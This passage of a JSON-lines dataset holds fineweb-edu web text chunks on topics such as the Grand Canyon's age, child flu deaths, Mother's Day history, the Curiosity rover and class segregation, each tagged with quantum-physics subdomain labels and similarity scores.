the cell - more detail will be given about the motor neurone later in this essay. most animal cells have the same basic parts, namely, nucleus, cell membrane, and cytoplasm with various membrane bound organelles ( see appendix 1 ). the prokaryotic ( bacteria ) cell has a more found what you ' re looking for? - start learning 29 % faster today - over 150, 000 essays available - just \u00a34. 99 a month not the one? we have 100 ' s more molecules & cells ( view all ) - cellular structure amd function - investigating the effect of temperature on enzyme activity - to investigate how temperature affects the concentration of... - regulation of glycolysis. - a level biology revision notes - how organelles work together - modern solutions for mesothelioma an issue report - describe how the organelles in the beta cells work together... - vaccination and the components of the immune system - research project. type 1 diabetes, is there a solution? \" \" simon. politics and international relations. university student. \" \" sabreena, england. a level student. biology and chemistry.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5468856138645615, "token_count": 485, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.684827"} {"text": "implementation plansbecause all 24 school systems in maryland have unique academic and community needs, they all chose to design their programs locally. therefore, there are 24 different implementation models around the state. some districts require students to conduct individual service - learning projects in the community. most school districts infuse service - learning activities into the existing curriculum to help students use their academic skills to solve real community problems. districts are encouraged to review and revise their plans, based on lessons learned during implementation. despite the variance between district plans, all 24 maryland school systems infuse service - learning into existing courses as all or part of their plan. by adding experiential, community - based service activities to existing curricula, teachers enhance their students ' learning. in most cases, students complete all three service - learning elements - - preparation, action, and reflection - - as part of their regular school day. in other systems, students carry out one or more elements as part of a class and perform the remaining piece ( s ) on their own after school or on weekends. some school systems require that students conduct independent service - learning projects to fulfill part of the graduation requirement. in these systems, students are given guidelines stating how much service is expected and which organizations are appropriate sites for service. students perform service projects in the community, independent of their school, and keep track of the hours of service. contact information for the service - learning coordinator in each school system, a summary of their implmentation plan, and their service - learning fellows can be obtained through the navigation bar to the right.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4814925631772802, "token_count": 320, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.686458"} {"text": "the grand canyon might be older than we thought a lot older. contrarian scientists have posited a new theory that the canyon is not just 6 million years old, as the consensus now stands, but actually about 70 million years old. that would mean the grand canyon was a giant hole in the ground while t - rex still roamed the earth. the proposition that the canyon is far more ancient than now thought and, in fact, that it wasnt carved out by the colorado river but by two other rivers that no longer exist has sparked a spirited throw - down between two scientific camps. it i simply ludicrous, said one geology professor who is convinced the canyon is only about 6 million years old. i see all the data as aligning very nicely for an old canyon model, said another. so, are we laymen supposed to just throw up our hands and assume that because the scientists are so far apart we cant be sure of anything about the origins of the grand canyon? that probably would be a mistake. despite the variance in the two theories, the important thing to realize is that neither side is simply making wild guesses about how the canyon was formed. both sides are using essentially the same science. both sides are trying to read rock striations and to reconstruct ancient landscapes. those who put together the old canyon theory studied tiny crystals of phosphate minerals known as apatite to determine whether the uranium and thorium they contained had decayed into helium. that would help them gauge the temperature of the earth in which they were buried and whether it was close to the surface of the planet. in other words, this is real science. and if most of the geologists rally around one theory or another, we ought to accept their judgment. republican sen. marco rubio of florida took some heat recently for saying he didnt know how old the earth is. in an interview published by gq magazine, rubio when asked earths age, replied : im not a scientist, man. i can tell you what recorded history says, i can tell you what the bible says, but i think thats a dispute amongst theologians and i think it has nothing to do with the gross domestic product or economic growth of the united states. the earth, by the way, is 4. 5 billion years old. that has been accepted fact for years. all u. s. students are supposed to learn that fact before graduating from high school. i confess i didnt know the exact number. however, i would have guessed hundreds", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5116591615524783, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.690419"} {"text": "4. 5 billion years old. that has been accepted fact for years. all u. s. students are supposed to learn that fact before graduating from high school. i confess i didnt know the exact number. however, i would have guessed hundreds of millions of years old, and maybe i would have been given partial credit. rubio obviously was being cute. he was dissembling so as not to offend constituents who take a literal biblical approach to dating the origins of the universe, life and mankind, relying on the book of genesis rather than secular science. the interview probably says more about rubios political aspirations than his knowledge of geology. but the casual denial of real science nonetheless is a disturbing trend. we see it also in the refusal to accept that greenhouse gases created by people are responsible for seriously altering the earths climate. that kind of willful ignorance ultimately could result in climatic armageddon. rubio went on to state : at the end of the day, i think there are multiple theories out there on how the universe was created and i think this is a country where people should have the opportunity to teach them all. really? theres a museum near petersburg, ky., the creation museum, devoted to the so - called young earth theory that claims the universe was created only about 6, 000 years ago. among its displays, the museum features dioramas of people cavorting with dinosaurs. real scientists tell us that the dinosaurs became extinct about 65. 5 million years before man made his appearance on the planet. it seems safe to say that the only time man cohabited with dinosaurs was on the flintstones. so, are we obligated to give both the young earth and the 4. 5 - billion - years - old theories equal credence, as rubio seems to suggest? should we teach them all to our children? actually, rubio is wrong in thinking the issue has nothing to do with the gdp or economic growth. if the united states is to remain economically competitive, our kids must be scientifically literate even if their parents arent. scientists will continue to dispute many things, including the age of the grand canyon. that doesnt mean we can dismiss the scientific method or the accepted facts it produces. science denial isnt just ignorant, its also dangerous. james werrell, herald opinion page editor, can be reached at email @ example. com.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5164850129937284, "token_count": 486, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.691333"} {"text": "a parent ' s grief highlights flu shot ' s importance latest cold and flu news friday, oct. 19 ( healthday news ) - - austin booth was a three - sport high school athlete who never missed a day of school for illness. so his parents could never have foreseen the nightmare that would unfold in january 2011 when the 17 - year - old colorado teen would die of the flu just five days after developing symptoms, four days of which were spent on life support. \" it was unreal to see this kid on life support who a few days before was playing in a basketball game, \" said austin ' s mother, regina booth. \" even to look back on it, it ' s still just an unreal situation for us. to think that something as simple as a flu shot could have saved his life is hard to think about as a mom, but we had not ever gotten flu shots. \" as flu season gets under way, health officials are urging people of all ages to get vaccinated against influenza regardless of whether they have any high - risk conditions, such as asthma or diabetes, that predispose them to worsened bouts of the illness. indeed, austin booth ' s story is not unusual, with a new study indicating that healthy children who die of the flu have a shorter period between symptom onset and death than children with underlying conditions who succumb. the research, presented thursday at the infectious diseases society of america ' s idweek in san diego, found that healthy children died within about four days of flu onset, compared to seven days for kids with high - risk conditions. a complementary study presented at the conference that looked at school - based vaccinations determined that unvaccinated children were nearly three times as likely to get the flu than vaccinated kids. between 3, 000 and 49, 000 americans die of the flu each year, according to the u. s. centers for disease control and prevention. \" this may surprise a lot of people who think of influenza in the same box as children having colds, \" said dr. karen wong, author of the first study and an epidemic intelligence service officer for the cdc in atlanta. \" i think our study is important because it reminds people that influenza is a really serious disease. the vaccine is the best prevention tool we have. \" during influenza seasons between 2004 and 2012, almost half the children who died had previously been healthy, according to the study, which reviewed flu - associated deaths among children younger than 18 as reported by city and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4513169118313133, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.696009"} {"text": "vaccine is the best prevention tool we have. \" during influenza seasons between 2004 and 2012, almost half the children who died had previously been healthy, according to the study, which reviewed flu - associated deaths among children younger than 18 as reported by city and state health departments and confirmed through lab testing. more than 800 children died of the flu in that span. in addition to vaccinations, parents can promote other measures to help prevent their children and themselves from catching the flu, wong said, including washing hands often, covering coughs and keeping any sick family members at home. talk to the child ' s health care provider if he or she shows signs of the flu instead of simply loading up on symptom - relieving medications, she advised. \" early warning signs can be really difficult to pick up on, especially in young children, which is why prevention is the best defense, \" wong said. \" if your child is irritable, isn ' t interacting as they normally would, and symptoms get a little better and then markedly worse, talk with a doctor. \" regina booth, who is expecting the couple ' s sixth child in december, now makes sure she, her husband, carl, and austin ' s siblings are vaccinated before flu season each year. a flu vaccination drive was recently held in austin ' s name at his high school football field. \" i try to explain to people, without pushing it on them, that i was one of those parents who didn ' t think it was needed, \" she said. \" now, if i can help someone, i definitely want to. we feel it ' s the only thing we can do that ' s positive out of what ' s happened. \" research presented at scientific conferences should be considered preliminary until published in a peer - reviewed medical journal. copyright \u00a9 2012 healthday. all rights reserved. sources : karen wong, m. d., epidemic intelligence service officer, influenza division, u. s. centers for disease control and prevention, atlanta ; regina booth, rifle, colorado ; oct. 18, 2012, presentation, idweek ( infectious diseases society of america ), san diego get the latest health and medical information delivered direct to your inbox free!", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.42351730268990456, "token_count": 452, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.697226"} {"text": "notes on the history of mother ' s day : 5 things worth knowing 1. mother of the pharaohs as with many of our calendar - specific events and customs, some of the earliest records of a society honoring a mother can be traced back to the ancient egyptians, who held an annual festival for the goddess isis, sometimes referred to as the mother of the pharaohs. given the following list of a. k. a. ' s, it ' s no wonder she had her own day of celebration ( top this moms! ) : queen of heaven, mother of the gods, the one who is all, lady of green crops, the brilliant one in the sky, star of the sea, great lady of magic, mistress of the house of life, she who knows how to make right use of the heart, light - giver of heaven, lady of the words of power, and she who dominates the remote ( okay, okay, but she probably would have, had there been remote control domination issues at the time ). 2. magna mater of course, the greeks and romans had to have something like an isis day, too. in greece, there was a special day to celebrate the annual spring festival, in honor of rhea, the mother of zeus, a. k. a., \" the mother of the gods. \" the romans ( and some greeks ) called her cybele, or magna mater. according to a few sources, male magna mater wannabees would castrate themselves, don women ' s clothing and assume female identities. ( do we know any modern - day moms who ' ve had the same effect on men? ) 3. the mother of all churches as christianity spread through europe, it became fashionable to honor the church in which one was baptized. people would honor their \" mother church \" with flowers on the fourth sunday of lent in honor of the virgin mary, mother of christ. then, in england, in the 1600s, a decree took hold, widening the celebration to include actual mothers, and voila, we have the birth of \" mothering sunday, \" as it was called. christians were also allowed to eat on this lenten sunday, which meant a one - day break from the 40 day pre - easter fast. in addition to flowers, it was a time for families to travel in order to be together, much like our present - day mother ' s day. 4. the hymn for womyn what do mother ' s day and \" the battle hymn of the republic \" have", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3942581319708404, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.700829"} {"text": ", it was a time for families to travel in order to be together, much like our present - day mother ' s day. 4. the hymn for womyn what do mother ' s day and \" the battle hymn of the republic \" have in common? julia ward howe, of course. it was her eyes that saw much more than the glory of the coming of the lord. in 1870, 12 years after penning the \" infamous \" lyric, she wrote a mother ' s day proclamation that said : arise, then, women of this day! arise all women who have hearts \" \u00a6 we women of one country will be too tender of those of another country to allow our sons to be trained to injure theirs. it was an anti - war protest of sorts, in which she insisted on an international mother ' s day celebrating peace and motherhood. she proposed july 4th, but ultimately june 2nd was picked as the day. the new holiday, however, slowly fizzled out and by 1900, it was no longer celebrated. 5. the hallmark of hard work then, in 1908, mother ' s day was born again at andrew ' s methodist church in grafton, west virginia, thanks to the efforts of one anna m. jarvis, who was looking to honor her mother anna reeves jarvis, who ' d recently passed away after spending more than 20 years teaching sunday school at the church. every mom who showed up to the memorial received 2 white carnations. the event was so successful, anna quit her job and went all over the country petitioning state governments, women groups, churches, anyone who ' d get behind her cause to create a national mother ' s day. her hard work paid off and in 1912, west virginia became the first state to recognize mother ' s day. two years later, good old president woodrow wilson signed it into national observance, reserving the second sunday in may as the official mother ' s day. and there was much rejoicing in the offices of hallmark. ( you think i ' m joking, but the card company was founded in 1910, so it ' s entirely possible. )", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4294339165193488, "token_count": 430, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.701753"} {"text": "as i talked about last week, the news lately has been dominated by the olympics, but nasa managed to grab a few headlines by successfully landing the curiosity rover on mars. i have always been interested in space exploration and i am curious about what the inside of embedded systems look like. to me, curiosity is just an embedded system with 6 wheels and 17 cameras \u2026 i have always been impressed by the economy in design that nasa employ, particularly with embedded systems. in a posting a while ago i drew a comparison between the computing power of the apollo lunar lander and a current - day musical greetings card. i have been accused of making fun of this older computer technology, but that is far from the truth \u2013 i am incredibly impressed by how much can be achieved with such limited resources. finding the specification for curiosity \u2019 s computer systems was not hard. there are two rad750 computers \u2013 one for primary use, the other as backup. these devices were first released in 2001, so it is very mature, reliable technology that has been utilized in a variety of spacecraft. the rad750 is based on the ibm powerpc 750 \u2013 a familiar architecture, for which there are a wide range of tools and software ip available, making it an attractive choice. the key design requirement of these computers is radiation hardening, which is necessary for them to survive the trip to mars and the high radiation levels on the martian surface. the cpu is clocked at 200mhz, which is quite conservative, but i guess conserves power. i do wonder how important this is, as curiosity has a nuclear reactor and does not rely on solar power. the memory system includes 250mb of ram and 2gb of flash memory. i would guess that this implies that the code runs out of flash. or maybe some runs out of ram for speed. i would be interested to know the details. however, i rather suspect that the nasa guys have little to learn from my posting about memory footprint. considering these computer resources, it is tempting to draw a comparison with a familiar device. this time, i think it is safe to say that curiosity \u2019 s brain can out - perform a greetings card. by my calculations, the computer has about 25 % of the power / resources of an iphone 4s. i do hope that this mission is a success over the next 2 years. i was a kid when apollo 11 landed on the moon and i have been keenly awaiting a manned trip to mars ever since. although i doubt whether my proposed plan will be adopted", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5230357600877178, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.704583"} {"text": "improve community infrastructure, health, resiliency and economic opportunities in indonesia \u2019 s most challenging urban and coastal areas. about half of all indonesians live on less than a dollar a day. employment growth has been slower than population growth. public services remain inadequate by middle - income standards, and health indicators are poor. - economic opportunity : providing technical assistance, training and financial services to microfinance institutions throughout the country - health : raising awareness and supporting mothers to practice and promote exclusive breastfeeding - children & youth : addressing childhood malnutrition through healthy, affordable food carts in jakarta - water : improving sanitation and hygiene in crowded urban areas with a mobile sludge removal service - disaster preparedness : identifying and mapping areas at risk and helping those communities plan, train and practice how to respond when disasters occur - emergency response : maintaining a response team ready to quickly deploy and provide immediate relief to survivors during the critical first months after a disaster strikes all stories about indonesia indonesia : keeping life above water february 6, 2007 indonesia : preparing for the worst, hoping for the best january 12, 2007 padang pariaman, indonesia - at 10 : 00 a. m. on a sunny morning exactly two years after the indian ocean tsunami, the squall from a siren defeated the noise from a bustling market. immediately, the town ' s streets were choked with citizens - many of them laughing. indonesia : disaster preparedness december 20, 2006 indonesia : yanda ' s healing words december 20, 2006 indonesia : indian ocean tsunami : two years later december 20, 2006 throughout the tsunami - affected region, mercy corps is answering president clinton ' s call to \" build back better, \" having helped more than 1 million people strengthen their local economies, livelihoods and communities. here are a few examples of mercy corps ' work in the region : indonesia : precious seedlings december 20, 2006 indonesia : helping to rebuild in bantul september 20, 2006 \u201c it was only about 8 to 10 seconds, but it felt like forever. \u201d indonesia : tsunami hits indonesia july 17, 2006 indonesia : earthquake response continues june 29, 2006 early the morning of may 27, a powerful earthquake measuring 6. 3 on the richter scale struck the indonesian island of java, devastating the region and killing more than 5, 700. entire villages were instantly leveled. an estimated 1. 5 million people were left homeless by the earthquake. indonesia : recovery toolkits june 16, 2006", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4300584419693914, "token_count": 491, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.707099"} {"text": "podcasts & rss feeds most active stories culture of class mon november 14, 2011 the divide between the \u2018 haves \u2019 and \u2018 have nots \u2019 is not just a matter of bank accounts. more and more it determines where you live. we \u2019 ve all heard about racial segregation. whites live one place. blacks live in another. there are all kinds of ethnic neighborhoods. but in the last 40 years, racial - ethnic segregation has moderated somewhat - - although it is still high. but socioeconomic segregation, segregation by class, is on the rise. \u201c well, the biggest change is, of course, the shift in the income distribution. we \u2019 ve become a much more unequal society in the past three decades, \" said douglas massey, a professor of sociology and public affairs at princeton. he was the lead author of a study about this trend toward class segregation which was published in the annals of the american academy of political and social science. he said that in the past few years, you can really see the shift as people lose their homes to foreclosure and have to move. \u201c as fewer and fewer people are in the middle and more and more people are in the extremes, housing markets tend to produce higher levels of social class segregation, higher levels of segregation on the basis of income, \u201d said massey. some people are moving on up and others are moving to the wrong side of the tracks. in some areas, it gets to the point that teachers, sales clerks, baristas, the guy who puts tires on those nice cars can \u2019 t afford to live in the towns where they work. they live in less affluent communities and have to commute to work which adds to their financial burden. so how did we get to this greater divide between classes? it started with racial segregation. after world war ii, many white families left cities and moved to newly built suburbs. federal housing policy kept minorities out. discriminatory lending practices called redlining also contributed. keeping \u201c others \u201d out of certain areas has now evolved to include class distinctions. june manning thomas is a professor at the university of michigan \u2019 s taubman college of architecture and urban planning. \u201c we \u2019 ve created laws that essentially make it clear that purposefully setting up racial segregation is illegal, but we haven \u2019 t done that for class segregation, \" manning said. \" so, it \u2019 s perfectly legal for people to refuse to live near someone of a different social - economic status. and it \u2019 s not only legal, it \u2019 s enabled and", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4375780298896391, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.713324"} {"text": "haven \u2019 t done that for class segregation, \" manning said. \" so, it \u2019 s perfectly legal for people to refuse to live near someone of a different social - economic status. and it \u2019 s not only legal, it \u2019 s enabled and it \u2019 s even praised. \u201d laws in michigan don \u2019 t allow zoning codes that completely exclude low - income housing, but talk about potential impacts to property values or of \u201c community character \u201d ( whatever that means ) is often an effective argument against allowing affordable housing. and zoning codes often restrict areas to big houses on large lots. no one is exactly saying \u2018 we don \u2019 t want those kind of people in our community, \u2019 but there are ways to skirt the intent of the law. so, it \u2019 s still difficult to bring affordable housing to some of these exclusive neighborhoods or towns. it keeps the classes separate. in the past a person would go to the grocery store or the post office and run into all kinds of people all across the socioeconomic spectrum - - doctors and lawyers running into mechanics and daycare workers, out - of - work people bumping into business owners. these days in many areas people end up only seeing and talking to people who make the kind of money they do, live in the size of house they do, have the cares and concerns of people just like them. they don \u2019 t interact with people of other classes. with no interaction, there \u2019 s no basis for empathy for those \u2018 others. \u2019 and douglas massey \u2019 s study found this class segregation is accompanied by more ideological polarization. conservatives are living near other conservatives, liberals living near other liberals. that is amplified by the media they consume. when you and all your neighbors are reading the same columns and watching the same news channel, it creates an echo chamber. richard norton is a department chair at the university of michigan \u2019 s taubman college. he said in those isolated, wealthier neighborhoods where everybody is doing well, it \u2019 s become difficult for them to understand why others are not as successful because they don \u2019 t hear about the obstacles the less fortunate face. \u201c it \u2019 s a little bit disingenuous for folks to say, \u2018 well, you know, i made it ; why can \u2019 t those folks make it ; we don \u2019 t want them in our community, \u2019 and at the same time that we \u2019 re systematically taking everything away from those folks that would give them the opportunity to make it themselves, \u201d said norton. and the folks who are struggling at the bottom of the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3990834576223833, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.714368"} {"text": "click image to enlarge machine tools and other production equipment rely on the quality of various fluids to maintain optimum performance. lubricants in gearboxes, fluids in hydraulic systems and coolants used to flood the work zone or cool machine components provide essential functions. they reduce friction and control thermal effects, for example. if these fluids are allowed to deteriorate or become contaminated, then the machine \u2019 s ability to produce acceptable workpieces is jeopardized. the machine may not be able to hold tolerances or meet production goals because of unplanned downtime. new sensor technology is making it possible to monitor one of the key properties of a fluid and to detect early warning signs that the fluid may no longer meet requirements. this sensor technology automatically measures the viscosity of industrial fluids. because viscosity is linked to fluid performance and because changes in viscosity are symptomatic of many negative conditions, monitoring this property is proving to be an effective diagnostic tool. preventive maintenance activities can be targeted to true root causes, and the results of these activities can be verified. in the past, viscosity ( a measure of a fluid \u2019 s resistance to flow ) was difficult to measure quickly, accurately and in a digital format. as a result, other properties have been monitored instead. shops checked color, transparency, acidity or even odor, but the results were not always reliable or scientific. today, viscosity can be measured precisely by a sensor device that is immersed directly under a stream of fluid or mounted in the fluid tank or pipeline. in simplified terms, the sensor uses sound waves that lose energy when emitted along surfaces of a quartz crystal in contact with the fluid. this energy loss is proportional to the viscosity of the fluid. thicker fluids draw off more energy than thinner fluids, so to speak. measuring the change in energy gives highly accurate viscosity readings through a range of temperatures. the vismart from biode inc. ( westbrook, maine ) is such an acoustic sensor. it is smaller than a matchbox. onboard electronics control sensor operation while communicating with an external display unit. the sensor lies in contact with or under the surface of the fluid with a cable attached to the display unit. the company offers a handheld display unit that can be connected to the cable for monitoring by a machine operator or for data collection and downloading. the display unit can be left in place or carried from machine to machine for connection to sensors in each location. kerem durdag, bio", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5606716478202362, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.719002"} {"text": "go veggie or go local? reducing your meat consumption does more good for the environment than shopping at the farmers market. sun, jun 01 2008 at 3 : 28 pm less is more : meat is the most co2 - intensive food you can eat because of its \" food miles. \" q. my sister, a vegetarian, says that swearing off of meat does more good for the environment than shopping at the farmers market. i say buying all of our food from local farms, including beef and pork, has more impact. who \u2019 s right? \u2013 luisa, me a. well, this isn ' t to say that you have to go veggie to be green, but actually luisa, your sister is right. sure, buying a pound of grass - fed, organic ground beef from a farm just fifty miles from your home is undoubtedly better than, say, buying a pound of factory - farmed hamburger from a store where it might have been imported from 1, 000 miles away. but a recent study from carnegie mellon found that \u201c food miles \u201d \u2014 the distance that food travels between the farm and your plate \u2014 accounted for only 11 percent of the carbon footprint left by the average household \u2019 s groceries. that means that in the larger debate you and your sister were having, reducing meat consumption trumps local sourcing. producing the food in the first place is what sucks up a lot of energy and produces emissions \u2014 and meat is the most co2 - intensive food item you can possibly go for. besides the energy and transportation involved in feeding and housing the animals, there are also the emissions produced by the cows themselves to consider. cattle and other ruminants exhale nitrous oxide, plus, their \u2018 output \u2019 gives off methane. both nitrous oxide and methane leave a substantial climate footprint, explains chris weber, phd, the study \u2019 s author. so when you crunch the numbers, as weber did, it turns out that going veggie, or even just sticking with poultry and fish, just one day a week makes as much impact as getting your entire menu locally. that \u2019 s not to say there aren \u2019 t plenty of good reasons to shop at the farmers \u2019 market. less is still better than more when it comes to food miles, and farmers \u2019 market vendors often stick to organic and other eco - friendly methods. bottom line : do both. to really reduce your impact, reduce your meat consumption and buy from sustainable, local farms. story by sarah schmidt. this article originally appeared in plenty in june 2008.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4336327800528137, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.722943"} {"text": "the mojave desert was one of the last places in the \" lower 48 \" where the united states federal government granted free homesteads to anyone who was willing to improve the land. five - acre parcels were deeded by the federal government under the small tract act of 1938, one of the last of the government ' s homestead acts. the government ' s goal was to distribute 1, 849 sim ( 457, 000 ac ) of desert that the bureau of land management deemed disposable, most of it in california. by the time the act was repealed in 1976, about 36 % of the land was privately owned. the rest is federally protected desert. in the early 1950 ' s, james e. baugh, patriarch of the baugh family and grandfather of the president of molossia, obtained 7, 902 srn ( 5 ac ) of desert land under the auspices of the small tract act. under amendments to the act, homesteaders were granted a deed only if they built a structure with dimensions not less than 20. 5 no x 27. 4 no ( 12 by 16 ft ). no water or power was required. in accordance with these requirements, and with the assistance of his brother, bob, he proceeded to construct a small building in the forbidding desert, a homestead \" shack \". the shack was never much to look at, four walls, a roof, a door and some windows, all installed over time as money and materials allowed. this done, mr. baugh had fulfilled the requirements of the act. in spite of only sporadic subsequent visits, the property was nevertheless fully granted to him in 1988. the shack, however, has long since been dismantled, probably by desert dwellers seeking building materials for their own shacks. nothing remains today but the concrete slab. desert homestead is a province of the republic of molossia. it is located in western san bernardino county, about 31 in ( 31 km / 19 mi ) northeast of the town of yucca valley, california. desert homestead is exactly five acres in size and is open low desert, with mostly sand, scrub brush and creosote bushes. it lies on a low ridge not far from yucca valley and joshua tree, california, and is near to the twenty - nine palms marine corps base and joshua tree national monument ( us ). in addition to being a province of our republic, desert homestead is also a national monument. it evokes not only the memory of the last homestead act of the united states, but also", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4036444317748601, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.725701"} {"text": "wounded military servicemen are carried to a waiting ambulance bus from a u. s. air force c - 17 medical evacuation aircraft at ramstein air base in germany. / by jack gruber, usa today military doctors are fighting to defeat a fungal infection that has killed a handful of direly wounded troops in afghanistan and infected scores of others, often requiring that more of their limbs be cut away to get above diseased areas. out of about 100 troops diagnosed with the organism in the past three years, six have died either from the fungus or other causes, says navy cmdr. carlos rodriguez, who has led investigations into the infection. the victims are mostly soldiers or marines who suffer the worst wounds of the war, multiple amputations from roadside bombs. the fungi exist in the soil, and appear to be prevalent in two hard - fought southern afghanistan provinces of helmand and kandahar. for the typical patient, the organism is blown deep into blast wounds from buried explosives - known as improvised explosive devices or ieds - during foot patrols in those regions, rodriguez says. \" all the stuff that lives in the dirt is getting jammed in there, \" says army lt. col. john oh, director of trauma at the army ' s landstuhl regional medical center in germany. new guidelines were published nov. 1 urging combat doctors to soak wounds with a diluted bleach called dakins consisting of sodium hypochlorite - a product once used on world war i combat casualties - as a precaution to kill the fungus before it takes hold. the fungus is nearly undetectable at first because infected tissue initially appears healthy. surgeons cutting away dead bone and flesh from blast wounds will stop short of areas that appear healthy to preserve as much of a limb as possible. \" even for somebody that ' s very experienced, it ' s hard to tell exactly what ' s dead and what ' s alive, \" oh says. within days or even hours after the operation, infected tissue begins to die and more of a limb must be cut away, doctors say. making matters worse, the two of the most common fungal organisms infecting troops - mucor and aspergillus terreus - can take days or weeks to positively identify. one medical theory is that troops who suffer massive blast damage are particularly vulnerable because their immune systems are weakened from receiving large amounts of donated blood to stay alive. rodriguez said doctors have gotten better at identifying the fungus, but the answer lies in killing or cutting out spores before they infect. as a result", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41003989882090885, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.734062"} {"text": "st. - john \u2019 s - wort ( hypericum perforatum ) has gained attention recently as a possible tool in the treatment of both aids and mild depression. researchers are now learning that its active constituent also may be a useful cancer treatment. researchers at the catholic university in leuven, belgium, have found that the herb \u2019 s active constituent, hypericin, may be valuable in photodynamic therapy, which is used to make tumor tissues more vulnerable to radiation. the researchers injected mice with tumor cells, then divided the mice into two groups. one group received hypericin, followed by radiation at the site of tumor injection. the other group received radiation but not hypericin. although tumors developed as expected in the control group, no tumors grew in the mice treated with hypericin and radiation. furthermore, the radiation had no toxic effect on the normal skin next to the tumor. researchers also found that hypericin accumulated in the tumor tissue, meaning that it could sensitize the tumor to radiation \u2019 s toxic effects without affecting the normal tissue. these results show that hypericin may be useful as a tool for photodynamic therapy in cancer treatment. vandebogaerde, a. l., et al. \u201c antitumor activity of photosensitized hypericin on a431 cell xenografts. \u201d anticancer research 1996, 16 : 1619 \u2013 1626.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5399463302836294, "token_count": 293, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.735530"} {"text": "severe restrictions proposed for afghan women ' s shelters the ministry of justice of the afghan government is considering adopting a new regulation that would require women fleeing domestic violence situations to appear before an eight - person government panel before obtaining shelter. under the new regulation, the shelters, which are currently funded by international organizations, western governments, and individual donors, would be placed under the control of the government. a government committee would determine whether women can be admitted to a shelter or if they should be jailed or returned to their families. if admitted to the shelter, women would then be required to submit to physical examinations, which could include a virginity test. moreover, women could be forced to leave the shelter if their families requested that they return. women ' s rights groups, including human rights watch, women for afghan women and the afghan human rights commission, have expressed concern that the new laws would deter vulnerable women and girls from seeking necessary protections and shelter. manizha naderi, the director of women for afghan women, told the new york times, \" i ' m not sure why they are doing it - maybe because the government is becoming more conservative and to appease the taliban they are doing this. domestic violence is cultural and it takes time to change and it will change, but women need a safe place when they are a victim of violence. \" ten years ago there were no shelters for abused women in afghanistan. currently, there are approximately 14 shelters. media resources : reuters 2 / 10 / 11 ; new york times 2 / 10 / 11 ; irish times 2 / 9 / 11 ; upi 2 / 10 / 11", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4349804038266223, "token_count": 322, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.738466"} {"text": "tchaikovsky ( 1840 - 93 ) - symphony no. 4 there \u2019 s one way that tchaikovsky would have made a good yorkshireman - he doesn \u2019 t mince his musical words. like rachmaninov and arnold, he speaks directly and emotively to us. the fourth symphony especially is crammed with belting good tunes, toe - tapping rhythms, vivid poster - paint orchestration - and packs a punch fit to fell an ox. regarded it as an \u201c imitation of the basic idea of beethoven ' s fifth \u201d, and indeed both are \u201c about fate \u201d. however, whereas beethoven the bold, fearless musical pioneer \u201c takes fate by the throat \u201d, for 